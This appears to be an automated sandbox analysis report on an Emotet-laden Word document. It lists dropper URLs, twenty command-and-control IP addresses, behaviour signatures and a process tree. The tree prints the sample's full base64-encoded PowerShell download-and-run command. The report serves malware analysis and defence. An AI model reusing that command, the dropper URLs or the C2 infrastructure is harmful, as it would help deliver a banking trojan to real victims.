Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    145s
  • max time network
    110s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    15/08/2020, 04:00

Sharing

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General

  • Target
    emotet_e2_5cf289830a79e1608f952fbb47868d1791f30a61fca435f7f76c5bd33b623451_2020-08-15__035833._doc.doc
  • Size 232KB
  • Sample200815-sd5glxepbj
  • SHA256 5cf289830a79e1608f952fbb47868d1791f30a61fca435f7f76c5bd33b623451
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://pmanquetil.com/wp-admin/0f_aufka_yxuwpl/
  • exe.dropper

    https://hsshivling.com/9efesfwep/b7xi_dys_5menh13/
  • exe.dropper

    http://vtescebu.com/wp-content/upgrade/qo_4f_q/
  • exe.dropper

    http://congcuphongthan.com/mainto/p_e9_nzbfcj04oi/
  • exe.dropper

    http://glashandelmaxima.nl/wp-admin/ivtu_6l7_yyn42mu35/

Extracted

Family

  • emotet

C2

  • 75.139.38.211:80

  • 69.30.203.214:8080

  • 67.205.85.243:8080

  • 190.160.53.126:80

  • 183.101.175.193:80

  • 137.59.187.107:8080

  • 168.235.67.138:7080

  • 209.143.35.232:80

  • 180.92.239.110:8080

  • 167.86.90.214:8080

  • 85.66.181.138:80

  • 95.213.236.64:8080

  • 83.169.36.251:8080

  • 157.245.99.39:8080

  • 79.98.24.39:8080

  • 70.167.215.250:8080

  • 93.51.50.171:8080

  • 174.102.48.180:80

  • 24.179.13.119:80

  • 41.60.200.34:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_5cf289830a79e1608f952fbb47868d1791f30a61fca435f7f76c5bd33b623451_2020-08-15__035833._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1420
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABDAG4ANABuADEAZABkAD0AJwBPAGgAdwB2AHAAeABmACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAGMAYABVAHIAaQBgAFQAWQBwAGAAUgBvAHQAYABPAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAVwBhADAANgA1AG8AdAAgAD0AIAAnAEUAagB4AHMAJwA7ACQATQBoAHMAawAzAF8AdAA9ACcAWABjAHQAdwBzADcAMQAnADsAJABQAGgAZgBtADIAbQBqAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAnAFwAJwArACQAVwBhADAANgA1AG8AdAArACcALgBlAHgAZQAnADsAJABZADgANwB0AGUANAAzAD0AJwBTAHkAcwBpADcANABzACcAOwAkAFkAdwByAG0AZwB3AHQAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4AZQBUAC4AdwBFAEIAQwBMAEkAZQBuAFQAOwAkAFEAYQA5AG8AZwA2ADgAPQAnAGgAdAB0AHAAcwA6AC8ALwBwAG0AYQBuAHEAdQBlAHQAaQBsAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwAwAGYAXwBhAHUAZgBrAGEAXwB5AHgAdQB3AHAAbAAvACoAaAB0AHQAcABzADoALwAvAGgAcwBzAGgAaQB2AGwAaQBuAGcALgBjAG8AbQAvADkAZQBmAGUAcwBmAHcAZQBwAC8AYgA3AHgAaQBfAGQAeQBzAF8ANQBtAGUAbgBoADEAMwAvACoAaAB0AHQAcAA6AC8ALwB2AHQAZQBzAGMAZQBiAHUALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAZwByAGEAZABlAC8AcQBvAF8ANABmAF8AcQAvACoAaAB0AHQAcAA6AC8ALwBjAG8AbgBnAGMAdQBwAGgAbwBuAGcAdABoAGEAbgAuAGMAbwBtAC8AbQBhAGkAbgB0AG8ALwBwAF8AZQA5AF8AbgB6AGIAZgBjAGoAMAA0AG8AaQAvACoAaAB0AHQAcAA6AC8ALwBnAGwAYQBzAGgAYQBuAGQAZQBsAG0AYQB4AGkAbQBhAC4AbgBsAC8AdwBwAC0AYQBkAG0AaQBuAC8AaQB2AHQAdQBfADYAbAA3AF8AeQB5AG4ANAAyAG0AdQAzADUALwAnAC4AIgBzAGAAUABsAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFIAdQBwADcANwBzAHYAPQAnAE8AOQBxAHMAeQBhAGQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEEAYgAzADQAXwAyAGoAIABpAG4AIAAkAFEAYQA5AG8AZwA2ADgAKQB7AHQAcgB5AHsAJABZAHcAcgBtAGcAdwB0AC4AIgBEAG8AVwBOAGwAYABvAEEARABmAGAASQBgAGwAZQAiACgAJABBAGIAMwA0AF8AMgBqACwAIAAkAFAAaABmAG0AMgBtAGoAKQA7ACQAWAB0AGkAcQBhAGgANgA9ACcATAAwAHUAZQBzAGwAawAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFAAaABmAG0AMgBtAGoAKQAuACIAbABlAGAATgBnAHQAaAAiACAALQBnAGUAIAAyADIAMQA4ADAAKQAgAHsALgAoACcASQBuAHYAbwAnACsAJwBrAGUALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAoACQAUABoAGYAbQAyAG0AagApADsAJABQADAAOQByADYAMgBxAD0AJwBFADAAaABtAGoANwAxACcAOwBiAHIAZQBhAGsAOwAkAFoAbABuAHUAYwA5AHIAPQAnAFQAcQA4ADkAcgBpAGoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASgAwAGMAYwBnAGMAYwA9ACcAVQBkADUAaQB5AGwAZgAnAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1156
    • C:\Users\Admin\AppData\Local\Temp\Ejxs.exe
      "C:\Users\Admin\AppData\Local\Temp\Ejxs.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1316
      • C:\Windows\SysWOW64\srdelayed\mshta.exe
        "C:\Windows\SysWOW64\srdelayed\mshta.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1580

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1156-15-0x000000001C190000-0x000000001C191000-memory.dmp
        Download

        memory/1156-16-0x000000001C460000-0x000000001C461000-memory.dmp
        Download

        memory/1156-10-0x00000000026B0000-0x00000000026B1000-memory.dmp
        Download

        memory/1156-11-0x000000001AB70000-0x000000001AB71000-memory.dmp
        Download

        memory/1156-12-0x0000000002600000-0x0000000002601000-memory.dmp
        Download

        memory/1156-13-0x000000001B420000-0x000000001B421000-memory.dmp
        Download

        memory/1156-9-0x000007FEEA090000-0x000007FEEAA7C000-memory.dmp
        Download

        memory/1316-20-0x0000000000380000-0x000000000038C000-memory.dmp
        Download

        memory/1420-2-0x0000000008B80000-0x0000000008B84000-memory.dmp
        Download

        memory/1420-14-0x0000000002100000-0x0000000002101000-memory.dmp
        Download

        memory/1420-6-0x000000000C120000-0x000000000C124000-memory.dmp
        Download

        memory/1420-5-0x000000000B0A0000-0x000000000B0A4000-memory.dmp
        Download

        memory/1420-4-0x0000000007090000-0x0000000007290000-memory.dmp
        Download

        memory/1580-23-0x0000000000300000-0x000000000030C000-memory.dmp
        Download

        memory/1968-24-0x000007FEE6960000-0x000007FEE6BDA000-memory.dmp
        Download